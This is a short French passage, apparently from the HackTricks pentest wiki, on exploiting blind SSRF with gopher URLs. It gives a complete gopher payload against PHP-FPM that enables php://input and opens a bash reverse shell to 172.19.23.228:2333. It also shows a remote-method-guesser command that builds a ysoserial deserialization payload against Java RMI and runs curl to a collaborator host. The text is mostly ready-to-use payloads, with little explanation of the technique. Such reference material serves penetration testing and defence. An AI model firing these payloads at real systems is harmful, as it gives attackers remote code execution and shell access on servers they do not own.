Ports couramment utilisés : 80, 443 (SSL)

Cela a été pris à partir de ici.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

Ports couramment liés : 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999

Les vulnérabilités SSRF aveugles qui permettent l'utilisation d'octets arbitraires (basées sur gopher) peuvent être utilisées pour effectuer des attaques de désérialisation ou de codebase sur les composants par défaut de Java RMI (registre RMI, collecteur de déchets distribué, système d'activation). Un compte rendu détaillé peut être trouvé ici. L'exemple suivant montre la génération de la charge utile :

$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥